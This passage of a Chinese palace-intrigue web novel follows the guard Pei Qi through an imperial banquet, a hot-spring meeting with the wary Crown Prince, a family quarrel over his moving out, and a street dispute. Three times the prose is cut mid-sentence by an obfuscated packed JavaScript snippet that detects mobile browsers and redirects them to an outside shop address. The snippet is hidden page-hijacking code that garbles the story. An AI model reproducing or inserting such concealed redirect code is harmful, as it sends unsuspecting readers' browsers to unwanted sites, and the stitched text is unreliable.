裴期走着,不知不觉就来到了那个沙帘的外面。 纱帘并不算厚,所以他也能看清里面的人。 一个眼熟的人在最里面的右侧坐着。 太子。 在陌生的环境遇到熟人总还是安心一点的。 看向李稷的方向,裴期不自觉地眨了两遍眼睛。 对方似乎也看到了他,隔着纱帘冲他勾唇笑了笑。 仿佛在叫裴期别紧张。 说来也奇怪,裴期真就心情好上不少。 见裴期在纱帘外直愣愣的站着,王公公两眼一黑。 完了,他忘了这小子是个新人,还不知道这些行礼之类乱七八糟的事情。 说到这里他又恶狠狠地在心里想, 彭煜,看你干的好事! 于是,裴期只听见王公公在他的身后小声提醒着,“行礼,行礼。” 他这才反应过来,脑海里回忆起刚才杨小旗和钱苗是怎么给太子行礼的。 他照葫芦画瓢,按照脑海中记忆的样子做。 “参见陛下。” 裴期说。 虽然样子称不上规范,可确实也好歹是行出个囫囵礼来了。 王公公松了口气。 紧接着纱帘里响起一道含着点怒气的声音。 “放肆!朕不知你如此胆大。” 跟着这个声音的,还有一只从里面被掷出来的酒杯。 白玉做的酒杯从纱帘里出来,砸到裴期的身上,然后叮铃咣啷地掉在地上。 不开玩笑的说,这个时候王公公浑身的汗毛都竖起来了。 他已经很久没见过陛下发怒了,尽管他受陛下的恩宠,可仍旧打从心底里的害怕。 可裴期就在这众目睽睽之下,弯腰把酒杯捡起来了。 见酒杯上沾了一些灰尘,他还特意放身上擦了擦。 然后捧着白玉酒杯,只把手握着酒杯的部分穿过了纱帘的缝隙。 于是,里面的诸人只见一双莹白如玉,骨节分明的手捧着一只玉杯出现在眼前。 裴期理所当然地说:“陛下,裴期知罪。” 皇帝似乎也开始好奇他这个举动是什么意思,于是身体朝后靠了靠,眯着眼问, “你在做什么?” 只是一个杯子而已,他的库房内还有成百上千上万个。 裴期脑子没动,理所当然地说, “杯子也是陛下御赐给臣的,裴期不忍让其掉在地上被污秽,故而擦干净用手拿着。” 他话音一出,全场都是一愣。 紧接着,琢磨过味来的人简直要为这句话鼓掌了。 什么叫“雷霆雨露具是君恩”啊! 简直没有任何一个别的场景能够比现在更加生动的诠释这句话的了! 杯子只是皇帝生气丢出来的,只是砸到了裴期的身上,只是掉在了地上。 裴期一句“御赐给臣的”就差直接说“皇上对我罚也是赏,赏也是罚了”了。 可令人感到惊讶的是,哪怕说出了这样肉麻的话,他的脸上却仍旧保持着一副真诚的神色,仿佛说的所有的话都是发自内心而出,是打从心底里这么觉得的。 他们不禁纷纷打量起裴期来。 好深的城府,好一个狗腿子。 在座的诸位可没一个人敢说出这句话来,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996042|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好,那是拍马屁拍对地方了,说的不好,那就是媚上欺下,九族遭殃。 但裴期却丝毫不知道这些人心里是怎么想的,因为他只是最简单的按照字面的意思去回应罢了。 所谓的御赐不就是经由皇帝的手交给自己的东西吗?那酒杯经过了皇帝的手,又到了自己这儿,怎么能不算御赐呢? 他都已经损坏过一次御赐的东西了,怎么还能损坏第二次呢?于是他才把地上的酒杯捡了起来才有了后面的举动。 这些人给裴期脑补的那个老谋深算,城府极深的形象实在是和他本人有点相距甚远了。 皇帝靠在龙椅上,眯着眼睛,不知道在想些什么。 但只要稍微熟悉他的人就知道他现在的状态。 俗话来说就是—— 被拍马屁拍爽了。 本朝的皇帝绝对称得上是一位明君,虽然大小毛病还是有。 但也几乎从来没有找过什么直言上谏、逆耳忠言的臣子麻烦。 这也导致本朝清流之风盛行,皇帝的身边围绕着的全是找准了机会想忠言逆耳,撞柱死谏一下子的忠臣们。 偶尔有稍微让人舒心一点的,像是王公公之流,拍起马屁来又太让人肉麻了。 像裴期这种清新脱俗的,皇帝还是第一次遇见。 他本就只是想逗逗裴期,也没怎么真的生气,于是只见皇帝轻微咳嗽了一声,说: “王狗,你是怎么传话的,朕只说要让裴卿自己清理好衣服,怎的让他给毁了。” 没错,王公公从小跟着陛下一起长大,他的名字也是陛下小时候给取的,当时陛下养的一条狗死了,万分悲痛。 王公公那时尚且稚嫩,一身狐媚惑上的功夫还没学明白,就凑上去汪汪汪,假装自己是条狗。 虽然那本事直到现在也没怎么学明白吧。 但好歹也是博了一条出路给自己。 此刻他一听见皇帝的这话就知道这个锅他是非背不可的了,于是王公公跪下,打了自己两巴掌, “哎哟,哎哟,陛下,您看老奴这是怎么传话的,老奴一时疏忽,没能将陛下的旨意传给裴大人,请陛下责罚,请陛下责罚。” 皇帝摆了摆手说, “罢了,朕就罚你半年的俸禄,给裴卿新做几件衣裳,待会儿你就去制衣局记录他的身量。” 王公公哪里敢说不是?于是他直起身来,连连应声,“是,是,陛下。” 这场闹剧总算是结束,皇帝看了一眼裴期又看了眼诸人,他摆摆手。 “来人,赐座罢。” 于是,裴期就在这纱帘之外得到了自己的一个座位。 这座位位置比较尴尬,往前看是皇亲国戚,往后看则是一众十分眼生的大臣。 要是换做别的初出茅庐的人,坐在这个地方,肯定手脚都不知道往哪儿搁了。 可要裴期的脑回路确实是和其他人不同呢。 他坐在这儿居然只觉得位置宽敞,视野也挺好能够看到皇帝跟前的那些表演。 他浑然不知自己身后的那些大臣们也开始打量着他。 这些大臣们的心中不约而同地出现了一个想法。 此人如此巧言令色,却擅长卖弄天真,不谙世事的模样。 只怕过不了多久便是官场上的一位劲敌,若是自己这边的还好,若是在另一边那妥妥的是心腹大患一位啊! 9. 轻浮 结束宴会之后,他随着王公公一起在制衣局把自己的身高和其他地方尺码记录了下来。 在古代量取身高和其他地方的尺寸的方式与现代的类似,也是用一根软尺围住需要测量的地方,然后记录一下数据。 只是制衣局似乎有一本小册子登记来这里进行测量过的所有人的数据,将裴期记录在册子里面之后,他们便将之前量过裴期身体数据的软尺割断开来保存。 把裴期的身材数据用物理的方式记录了下来,比记录xx尺、xx寸的在册子上更加容易保存。 量完之后,带路的王公公颇有些阴阳怪气地说, “裴大人好福气,第一次面上便能得赏赐,咱家的俸禄虽然不高,可半年下来却也整整够给裴大人做三身衣服了。” 是的,制衣局根据皇帝的意思给裴期分别做了红色,青色和白色的。 皇室的制衣局可比民间的要舍得,用料太多了,制衣所用的绸缎鲜艳有光泽,上面所有的纹绣都是用真真的金丝绣上去的。 也是足足的把王公公下半年的俸禄包括之前的一些赏赐等都给用了个干干净净。 裴期眨眨眼,他隐约意识到王公公说这句话的背后可能有什么别的意思,可让他完整地解读出来,也属实有些难为他了。 于是他想了想,说,“那……多谢?” 王公公听到这句话气一下子就冲上脑来了,险些被气的倒栽。 谁说的,是谁说这小子什么都不懂的。他真是信了彭煜那小子的邪。 这一张口就能把人噎死的本事,可一点儿都不像什么也不懂的家伙。 他被气了个够呛,可偏偏这人刚在皇帝面前刷过脸,他也不能轻易的对对方怎样,万一以后对方就能高升呢? 被气到了的王公公索性不说话了,闭着嘴带着裴期朝宫门外走去,他惹不起躲还不行吗? 可还未到宫门口,眼前就来了三位不速之客。 三个看样子是侍卫模样的人挡在了面前。 所以说看模样都好似是侍卫的样子,可他们的穿着却略有些不同,而且彼此之间的站位也有些距离,彼此之间火药味儿十足,看样子好像不是一起的。 还未等王公公开口询问这几人何事,只见这几人同时开口。 “裴大人,太子有请。” “裴大人,户部赵大人有请。” “裴大人,张世子有请” 实际上,裴期并不知道这个赵大人和张世子又是谁。 从记事起到现在,裴府的人就从未对他踏足官场报以什么希望。 他们只希望裴期得了个官职,就好好的吃吃俸禄,所以也没人教他去认一些什么官什么人的。 但太子他认识。 于是他说,“抱歉,我只认识太子殿下。” 他不知道赵大人和张世子是谁,可他旁边站着的王公公知道,皇帝年岁已高,虽然明面上大家都不敢,可朝堂上还是涌现了不少争着暗中站队的官员。 其中就有这两个。 这两个人一个是五皇子那边的,一个是三皇子那边的。 想来是裴期在这场宴上表现得太过,几位皇子都想过来探探他的虚实。 只是不知道为什么。之前做事十分谨慎,可以说是考虑的面面俱到的太子,这次居然选择直接邀请裴期,不选择让其他人出面,代为试探。 要知道,这种事情可大可小,往小了说只是想结识一位新人,往大了说那可就是互相勾结,意图不轨。 王公公瞥了一眼裴期,他心想这人也还算聪明,这三位皇子的邀请,当然只可能答应太子的。 皇上立下太子,并且让太子监国意图就十分明显,裴期刚刚才众目睽睽之下把皇上的马屁拍舒服,此刻若是再站队其他的皇子未免显太墙头草了一些。 只接受太子一人的邀约,还能说自己算得上是一位纯臣。 王公公心里这样那样的想,可他独独没有想到一种可能性。 那就是裴期压根儿没想这么多,他说他只认识太子,并不是想如何叫另外两人知难而退,如何表现自己的“纯臣”。 他只是真的只认识太子而已。 太子派来的那个侍卫打扮的人见裴期只应了自己,立马意有所指地朝旁边那两个看了一眼,似乎在嘲讽着什么。 旁边的那两个没搭理他,只是冷哼了一声,转头就离开了。 是这样的,虽然皇子之间还能在明面上保持一派和气,可底下的人都知道是怎么个情况,互相之间阴阳怪气,互相嘲讽,斗得不可开交。 “那请裴大人随我一起吧。” 那人面对裴期时明显态度比其他人好许多,他恭恭敬敬的让出一个位置。 示意裴期跟着他一起朝某个方向去。 —— 太子住的地方离这里并不远。 所谓东宫,就是指太子在,古代的朝代中大部分的时间都居住在东面的建筑群内,一般来说这个建筑群内的设施十分齐全,包括太子处理一些政务的场所、用于起居生活的宫殿、学习的书房等诸多区域。 到了东宫的门口,那人朝门口的侍卫点了点头,就带着裴期朝里面走了去。 裴期以为太子约见他可能会在书房或者是政务场所之类的。 可是继续往前走之后他才意识到太子约见自己的地方似乎并不是书房一类的。 水雾蒸汽顺着地下的热量往上,裴期朝里面望去,居然是一池温泉。 这温泉之中似乎隐隐还有着一些香气,裴期算是明白今早遇见太子殿下的时候,对方身上的那一点儿香气是从什么地方来的了。 这时旁边一位太监手里捧着一块柔软的布帕子过来。 “请裴大人先于隔壁沐浴。” 裴期微微一怔,心中虽有疑惑,但也未多言。 他随着太监来到隔壁房间,房间内早已备好热水,热气腾腾。 裴期褪去衣衫,缓缓踏入浴桶中,温暖的水流包裹着他的身体,让他的情绪稍有缓解。 沐浴完毕后,裴期换上一套干净的衣物,再次被带到温泉池边。 此时,太子正靠在池边,闭着眼睛,神态悠然。 听到脚步声,太子缓缓睁开眼睛。 他的手臂搭在温泉的边上,歪着头,黑色的眼睛直直看着裴期,不知道在想些什么。 “裴卿,今日表现,可真是令人刮目相看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996043|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴期又忘了行礼,他站定,琢磨了一下自己该怎么回。 然后说了句万金油,“臣只做了该做的事。” 太子没再说话,只是看了一会儿裴期,然后说, “下来罢,秋日里,这温泉里的水温才恰好合适。” 裴期倒也没有拘谨,反正都是男子,他在上辈子时也经常和学校的同校男同学一起去澡堂。 于是他从容地解开刚穿上的衣服的腰带。 衣服随着他的动作散落一地,雾气蒸腾,朦胧之中是他线条优美,肌肉恰到好处的身体。 他顺着台阶往下,这水温果然如太子所说,正是最合适的时候,微微发烫正是一个温泉最好的温度。 太子看着裴期进入水中,虽然在温泉中坦诚相待更能够看出一个人的是否诚实。 但他最初的本意却并不是初次就邀请裴期来温泉这里。 他的母亲怀着他时就被人暗害,幼年时更是遭遇意外到现在,皇帝把监国和大理寺的事情都交给了他,他表面游刃有余,背地里却因思虑过多以至于患上了偏头痛。 方才在书房里等待裴期的时候,他忽而头痛起来,太医给他开的药既不能立即见效又所剩无几。 因此,他便临时改变了二人见面的地方,从一开始定下的书房来到了这温泉里。 他整个人置于温泉之中,热气蒸腾,他的头痛似乎也缓解了不少,起码不会让任何人看出他的异样。 这时,旁边有个太监端了一壶东西过来,他把手里的托盘放在温泉的旁边,随后说,“殿下,这是您方才要的葡萄渴水。” 葡萄渴水是古代的一种香露,用葡萄加热浓缩后的汁液加上各种香料调制而成。 只要加上一小茶匙,就果香,木香香气扑鼻。 太子从温泉中把手臂伸了出去,将那壶葡萄渴水接了过来。 他先是给自己倒了一杯,在旁边放着,然后又另外取了一个杯子,将杯子里倒满。 随后他已经倒满的杯子中的饮品递给裴期。 只是,或许是太子倒的太满了,又或者是他没拿稳之类的。 这杯子在递出去的时候摇摇晃晃的,里面的液体像是不小心就会出来一般。 裴期之前隔得很远就已经闻到了这壶葡萄渴水里的香味。 此时的他已经是十分好奇这古代版的葡萄饮料究竟是什么味道。 现在太子递给自己,里面的东西就像是要撒了一般。 裴期为了不让这东西撒出来,下意识就用凑了上去。 他先是用唇接住了这杯子的杯口,然后再用手将杯子拿到了手里。 这样一来,就避免不了他的手指与唇都与太子的手接触到。 他不觉得有什么问题。 但李稷的眼神一下子就变得幽深。 他不信世上会有如此巧合之事。 一个和父皇的儿时玩伴长得十分相似的人,恰好的出现在了宴会上,恰好穿了前些年才会赏赐的衣服。 还恰好了是最惹父皇喜欢的做派。 更何况…… 李稷的手指蹭了蹭被裴期的唇挨到的地方。 还恰好如此轻浮。 10.要搬出去吗? 裴期仰首,将杯中之酒一饮而尽,接着用手背轻轻抹去唇上残留的液体。“多谢殿下。”裴期说道。 李稷只是微笑着凝视他,半晌,才幽幽开口道:“裴卿,你可知皇室所赐之酒,大多用于何事?” 裴期诚实地摇摇头,“不知。” “赐死。” 李稷毫不犹豫地吐出这两个字,说话之际,裴期能瞧见对方因嘴型变化而露出的洁白整齐的森森牙齿。 裴期双手握着玉杯,正想再喝一口。听到这话,他双眼睁地溜溜圆,望向李稷。 李稷假意安慰道:“裴卿莫怕,你并未做错何事。” 裴期其实并不是怕,只是听到死之类的词会下意识反感。 他点点头,又伸手去拿那壶放置在离太子较近之处的葡萄渴饮。 动作之间,裴期的手臂轻轻擦过李稷的手臂。他的身材在男人中已然算是出类拔萃,可李稷身形峻伟,裴期凑近时,从背后乍一看,好像是投怀送抱一般。 李稷心中冷笑,好不高明的勾引手段。 于是他握住裴期的手腕,阻止他继续靠近,“孤帮你取。” 裴期似乎能感觉到太子的鼻息扑在自己的锁骨处,微微发痒。 “多谢殿下。”裴期说道。 李稷一边将酒壶递到裴期面前,一边说道:“倒是让孤想起与裴卿初次见面之时。” 裴期思索片刻,口中流利地吐出他与太子第一次见面时所说的话:“殿下英武不凡,令人仰慕。” 奉承的话说得太过于自然流利了。 李稷听了,身体顿了一下,紧接着他若无其事地眯起眼睛道, “其他人第一次见孤,一般不如此说。” “那他们说什么?”裴期认真地问道。 李稷抬头,挑眉凝视裴期片刻,裴期不明所以,也露出一抹笑容。 “殿下饶命。” 李稷淡淡地说这几个字,仿佛这是再平常不过的事情。 这时,一位在太子殿中服侍的太监诚惶诚恐地跪在温泉旁,手中举着木质托盘,上面放着衣服。"殿下,这是为裴大人准备好的衣服。" 雾气之后,李稷的神色稍缓, "总不能让客人用过汤泉后再穿着旧衣服离开。"他稍作停顿,接着说,"这是制衣局今年新做好的,前几日刚送过来。" 太子虽如此说,心中却另有盘算。 他想着将裴期的衣服留下,日后若想当面询问些事情,便可借着归还衣服这个借口。 裴期自然是无法拒绝的,多做些准备也并无坏处。 可当事人裴期哪里知道对方心里那么多的弯弯绕绕。 然而,当事人裴期又哪里知晓对方心中如此多的弯弯绕绕。 他思索片刻,觉得太子所言有道理。倘若朋友来家中做客,洗过澡、泡过温泉后,他也绝不会让其再穿着前一日的脏衣服离去。 只是……如果说到衣服,裴期其实早已对他们初次见面时的那件玄色衣裳想要许久了。 有哪个白天抄家、晚上抓贼的锦衣卫能够拒绝一件不会脏的衣服呢? 于是,裴期顺着己的心意说道:"殿下,臣能换一件吗?" 李稷眯着眼睛看他,想知道在这样一件小事上,对方还能玩出什么花样。 “哦?哪件?” 他倒是有些期待裴期能说出什么话来,毕竟是能在大庭广众之下说出那样的话都面不改色的人。 裴期微微抬头,他颜色有些浅的眼睛看上去真挚极了, “殿下,臣想要那件玄色的衣裳。” 他说这话时不自觉地眉眼弯弯,嘴角上扬,仿佛不过是一件衣服就能让他很高兴不已。 那模样,倒是像极了给一根骨头就能够摇尾巴很久的小犬。 李稷面上温和的表情依旧未变,但心里却在冷笑。 也不知是谁教出来的人物,就算在是这样一个小的事情上也懂得如何讨人欢心。 因为小时候的一些缘故,他虽年岁渐长,却从未有过床伴。 可这并不意味着他对这些事情全然不懂。 实在是有些过了。 但凡成年男子,谁能不清楚要对方穿过的衣服意味着什么呢? 太过了,就算是引诱、谄媚,也都太过了。 裴期见对方一直沉默不语,后知后觉地想到自己这句话或许冒犯了对方。 于是,他抿了抿嘴说:"抱歉,殿下,臣只是……" 他话还未说完,对面的太子便打断了他。只见李稷手一挥,说道:"不过是一件衣服罢了。" 旁边的太监机灵得很,连忙小声吩咐后面的人去取那件裴期所说的玄色衣裳。 不多时,他们便捧着那件衣服,恭恭敬敬地来到此处。 裴期笑了,他看向李稷,再次道谢:"多谢殿下。" 李稷看着他的笑容,没有言语,但心中却在思索,也不知派裴期过来的是谁?是三皇弟、五皇弟还是其他人? 还特意大费周章地将其安插在锦衣卫里,目的简直昭然若揭。 天色已晚,很快裴期就穿好了衣服告辞。 李稷看着裴期的背影,脸上神色阴晴不定,半晌才露出个有些刻薄讥讽的神色,他嗤笑一声,对着旁边说道, "查查他,看看是我的哪个好皇弟的人。" 此人确实很懂得讨人欢心,可惜他对此豪无兴趣。 在他说完这几个字之后,旁边放置的屏风后面应声走出一个和尚模样的人。 此人神色平静,听到李稷的吩咐后,恭恭敬敬地匍匐在地上,应道:"诺。" —— 裴期离开皇宫后,乘坐旁边的马车回到了家。 今日无人在门口等候他。 他敲了敲门,小厮听见他回来,吱呀一声打开大门,裴期迈步走了进去。 裴府挺大,太阳西去,只剩一点儿余辉落在了瓦片上,府里面种的几株槐树和榆树被这余晖照着,在地上拉出一道长长的影。 往前走了几步,裴期变到了大家平日里时常待着的前堂附近。 这个朝代有钱人的府邸一般都分为前堂,后室,书房,演武场,花园等。 前堂是用来接待外人的地方,其他都是府内的人员才能够进去的。 要进入到后面需要穿过前堂。 裴期到了前堂的附近,就听到了熟悉的声音—— 是他的祖父和母亲。 他们似乎在商量着什么事情。 先是他母亲带了些怒气的声音传来。 “怎么能这样?!小期从未一个人。住过怎么能让他搬出去呢?!” 他的祖父在后边回到:“哼,还不是他自己不争气,为给自己挣到个府邸?如今子兼要求娶尚书家的女儿,他这么个单身汉,怎么能继续住在一起呢?” 在这时候,家族里的娶亲一般是大哥先娶,后面的弟弟妹妹们在后结亲的。 只不过拜裴期那不太好的名声所赐,他这么大了,愣是没有一家人肯将自家女儿的画像送上府来,所有人见了他都严防死守,生怕沾上到点儿什么关系。 不过这倒是明里暗里给他省了不少事。 到现在他去当了锦衣卫,那些文官们最唾弃的皇家狗腿子,结亲的可能性那更是微乎其微了。 祖父又说,“我早就说了让裴期去做锦衣卫不行,你看看,舍下了面子求的职位,现在不仅连累了子兼不说,他自己这样了。” 裴母声音带了点委屈,“父亲,不能偏心啊,家里的产业已经全都划给了子兼,连爵位都给了他,小期什么也不剩了。” “哼。”祖父终于将他的心里话说了出来,“那还不是裴期废物,以前是小废物,现在是大废物。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010425|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 吱呀一声,裴期站在门外边,不小心把门给推动了一下。 门内霎时间噤声。 不过一会儿便有人把门打开了。 是裴建。 方才祖父与裴母争地厉害,其余再没有第三个人的声音,裴期还以为裴建并不在里边。 见了他,裴母和祖父的神色都有些尴尬。 毕竟他们刚刚还在讨论的是裴期的去留。 裴建先说,“大哥,你回来了。”他上下打量了一下裴期身上的衣着,然后说,“母亲今早给你的衣服呢?怎么穿着这样一身回来了?” 祖父听到了这句话,也不顾自己还是坐在轮椅上的了,连忙过来一把将裴建给扒开。 见到裴期身上果然不是早上穿出去的那件红色的御赐的飞鱼服,他眉毛深深地皱了起来, “裴期!你怎么搞的连衣服都能弄丢?!” 他指责着裴期。 裴母见到这一幕也是连忙过来上下打量了他一眼,说,“衣服呢?你身上这件又是什么?” 衣服虽然是多年前的,可是好歹也是御赐的。 要是在别的地方弄丢了都不打紧,要是在宫宴那么重要的场合给弄丢了,给别人捡到了又是一样把柄。 “没事。”裴期说, “衣服被我损坏了袖子,现正在太子府上,过几天便会送来,我身上穿着的这件也正是太子殿下的衣服。” 祖父嗤笑,“你?太子?” 他好像听到了什么荒谬的笑话一样, “人家凭什么要见你,凭什么还把衣服给你穿?犯了错也大可不必说这样的谎。” 裴建也附和,他脸上满是担忧的神色,他往前走了一步,凑到了裴期的身边,可他说的话分明不是对裴期说的,而是对祖父说的。 “听同僚的父亲说,今日大哥好像惹得圣上不快,还被圣上训斥了。” 裴期皱眉,拳头捏紧了又放下,还是耐着性子说:“那只是一场误会。” “我看你就是在说谎!”祖父冷哼道,“你哪来的这样的本事?” 裴期面色沉了下来,缓缓说道 "我自会处理好自己的事情,不劳祖父费心,至于其他的,随你们怎么想。" 说完,他转身欲走。 裴建连忙上前拦住他,说:"大哥,你别生气。祖父也是一时心急,我们都是为了你好。" 裴期看了他一眼,说:“这又和你有什么关系?” “什么?”裴建愣了,他没想到这个看上去有些呆傻的大哥会突然向自己发难,所以一时之间他也没有想好什么话回答。 裴期似乎却并没有任何责备或是质问的意思。 他脸上带着纯然的疑惑,仿佛只是在对于一件不合理的事情有着单纯的质疑 “我去参加宫宴,我穿了什么衣服又与你有什么关系?你为何还要大费周章去同僚父亲那儿打听我干了什么,做了什么?” 裴建一下子说不出话了。 他看向裴期的眼睛,忽然涌上一股莫名不安的感觉,第一次感到心中有些发凉。 裴期见他不说话,转身就走了,全然不顾祖父和裴母在他身后的挽留。 他穿过前堂,向后面走,他也说不清楚自己现在是什么样的心情,在此之前他并没有感觉过得这么憋闷。 不知道是从什么时候开始,每次在家他都感觉不开心,身边的人都憋了一股子劲,好像谁都要说他一顿一样。 可他除了读不进去那几本用古文写的书以外也没有做其他的什么事。 裴期有些郁闷地给自己倒了一杯茶。 他闻到自己身上穿的那件衣服散发出一股香味,和早些在太子身上闻到的一模一样。 他又想到太子请自己泡温泉,还请自己喝茶,还送了衣服。 裴期觉得还是待在太子身边更开心。 11.救个有用的人 锦衣卫在白天也是要巡逻的,两人为一组。 虽然有五城兵马司的兵丁和巡捕也在皇城内外巡逻,但锦衣卫作为本朝最重要的特务机构也需要在一些重要的场合露一下脸,巡逻,以起到一些震慑作用。 在遇到了异常情况之后也能及时向上反映。 因为到处露脸,且一露脸就是不由任何人讲道理的强制抓捕和抄家,大家谈论起锦衣卫的第一反应都是只手遮天,气焰嚣张。 这给巡逻工作造成了一些麻烦。 比如说在王城内巡逻的时候,他们还隔得非常远呢,那边的百姓见他们这一生衣服就已经躲开了,路上硬生生的被开出了一条没有人的真空带。 这样别说暗中调查了,就算是抓贼,那贼见到这么大的动静肯定也是提前跑了。 此时正是太阳正当头的时候,现在是秋日太阳晒下来也不热,就只是晃的人睁不开眼睛。 阳光下,皇城里,大家都忙着自己的事,街两边的商贩有的是卖炸物的,油里面的热气往上,热气的周围看上去像是扭曲了一样,还散发出了阵阵炸物的香味。 有的则是卖一些自家做的手工小物件,裴期之前好奇看过,大部分是给小孩儿做的,有用竹子编地虎头虎脑的小狗玩具,还有一碰就响的小铃铛手串。 两边人声吵闹地讨价还价,一派安居乐业的热闹景象,只是在裴期一行人经过的时候,他们的声音会突然小了一些,然后不着痕迹地往旁边让出一点儿空间。 这还是因为他们三个在这里并不是熟面孔,也从未当着大家的面露出锦衣卫的“凶恶嘴脸”,说是换了其他熟人脸来着,还没进这些百姓的身,他们恐怕连摊子都已经收了。 裴期见状,有些担心这边不能正常抓捕贼人的话会导致毛贼泛滥。 但旁边的钱苗却感觉一切正常。 他从腰间的口袋里面拿出自己刚刚在路边买的糕点,分了一些给裴期,然后说, “巡逻算是我们的差事里面最轻松的了,只需要一天之内从那头走到这头,看看周围有没有什么事发生就行了,巡逻完之后,也没人管你去干什么别的。” 裴期没有拒绝,他伸出手接过钱苗的糕点,仔细品尝,有牛乳和茶点的清香散开。 钱苗看了眼他咀嚼的动作,又看了眼他腰间的腰带,瞬间有些羡慕嫉妒, 可恶,明明都是吃的一样的东西,对方明显比自己吃的还多了不少呢,怎么对方的腰间就一点儿多余赘肉也不长呢? 那些肉好像有自己的意识似的,都长在该长的地方了。 裴期咽下口中的糕点,察觉到钱苗的目光,有些疑惑地问道:"怎么?糕点不合你胃口?" 钱苗赶忙收回视线,清了清嗓子掩饰尴尬,"没,这糕点味道不错。”说罢,他伸出手揽住裴期的肩膀,“走吧,走吧,走快一些,再晚的话就赶不上杨小旗家里的小馄饨了。” 可他们还没走几步,路过的一个猪肉铺的旁边就传来了激烈的争吵声。 一个头戴东坡巾,身穿青色长袍读书人模样的年轻人被身材强壮的屠夫抓住了手腕往上拎着。 屠夫一只手抓着读书人的手腕,另一只手拿着宰猪用的刀,脸上的神色很是凶神恶煞,非常不好惹的样子。 “说!你怎么拿走我的荷包的!”屠夫两眼睁圆,额头青筋暴起。 那身材稍显瘦小的年轻人浑身发抖,说不出话,他双眼通红,泪都快流出来了,他的右手手腕被人紧紧的抓着,想来应该是痛的。 见到这一幕裴期皱了皱眉,三步并作两步走了上去,一下就掰开了屠夫紧握着的手。 屠夫眼睁睁的看着自己手指被一根一根的掰开,他难以置信地看向裴期,怎么回事?这人怎么会有这么大的力?竟比自己杀了一辈子猪的力气还大? 裴期把那书生的手腕从屠夫手中拿了出来之后又仔细地端详了一阵,看到对书生手腕一阵青紫,他神色有些凝重, “看你这打扮应是今年的考生,提前来上京的罢,若是此时手受伤了,还是要好好找个大夫才行。” 他弟弟前些日子才将将提过,今年要作为出题考官的助手进考试苑住两个月。 考生? 科举? 那这位书生岂不是…… 举人?! 虽然每隔个三年,上京就会有一大批的举人来这儿,租房子、住宿之类的,在场的小商小贩也是见怪不怪了。 可是,毫无疑问的,在这个朝代举人和普通平民的身份还是地位有些悬殊的。 刚才握着书生手腕的屠夫脸都绿了,他站在原地支支吾吾的,不知道想说些什么。 这书生咬了咬下唇,非常气愤。 很显然,比起自己的手腕,他更在乎的是自己的清白。 他先是对着旁边站着的裴期拱手作了个揖,“多谢兄台相助”,接着转头对旁边站着的屠夫说: “你莫要血口喷人,我只是从这儿路过了看了一下你铺子上的东西,从未拿过你的什么荷包!” 听口音仿佛是南方的举人。 屠夫虽然有些忌惮对方举人的身份,却还是不甘心自己的钱包丢失,于是他涨红了脸说道:“你从我这儿路过,我的荷包被丢了,不是你拿的,是谁拿的?” 书生听到这话更生气了,“你无凭无据的,怎么空口污蔑别人?我是读书人,绝不会做偷鸡摸狗的事!” 随着声音大了起来,旁边的小商贩或者客人都渐渐地围了过来。 裴期看了一眼书生又看了一眼屠夫,想上去说些什么,却被后面的钱苗给拉住。 “你管这些干什么?等一下把衙门的人叫来是一样的,我们只管巡逻,不管这些事的。” 只管巡逻,不管这些事? 裴期看了一眼眼前的人,扪心自问做不到袖手旁观,于是他回头按住钱苗的手,安抚道:“不会很慢的,你放心。” 这时旁边有个小孩儿摇摇晃晃地走了过来,他脚步虚浮,好像是有些站不住的样子,讲话也有些口吃, “爹,爹,娘,娘那边,那边铺子上的肉,用,用完了,再再多要一些过去,不然不然客人没得吃了。” 他这么说话,旁边方才还吵闹的人群忽然心照不宣地停了下来,屠夫也不说话了,沉默着在他的案板上把肉切成了薄片,整理好之后打包起来交给了小孩儿。 小孩儿接到了这包薄肉片之后把怀中方才放着的一些铜钱拿出来放在了案板上,“这,这是娘那边方才,方才收到的钱。” 屠夫顿了一下,伸手,把那堆铜钱放到了案板下面的一个暗格里。 看到屠夫把东西收好了,小孩儿这才又摇摇晃晃的走了。 书生见小孩儿走,立马上前,瞪着屠夫,非要让屠夫还他清白。 裴期抿了抿唇,走到二人的中间,对屠夫说, “你就是想知道这书生手里的荷包是否是你的,对吧?” 屠夫抬头看着裴期,他点了点头。 “我有办法。”裴期说。 屠夫看着裴期,一脸怀疑。 裴期不在意对方的目光朝旁边一个卖水滚甜圆的小贩说,“我向你买两碗水,要滚滚的,烫烫的。” 小贩听到他这话,笑了一下,“您这是说的什么话?只是两碗水罢了,又是这街里街坊的,我帮帮忙也是应该的。” 说完他转身从自己的摊上用大勺子舀了满满一勺的烫水放在了两个洁白的瓷碗中。 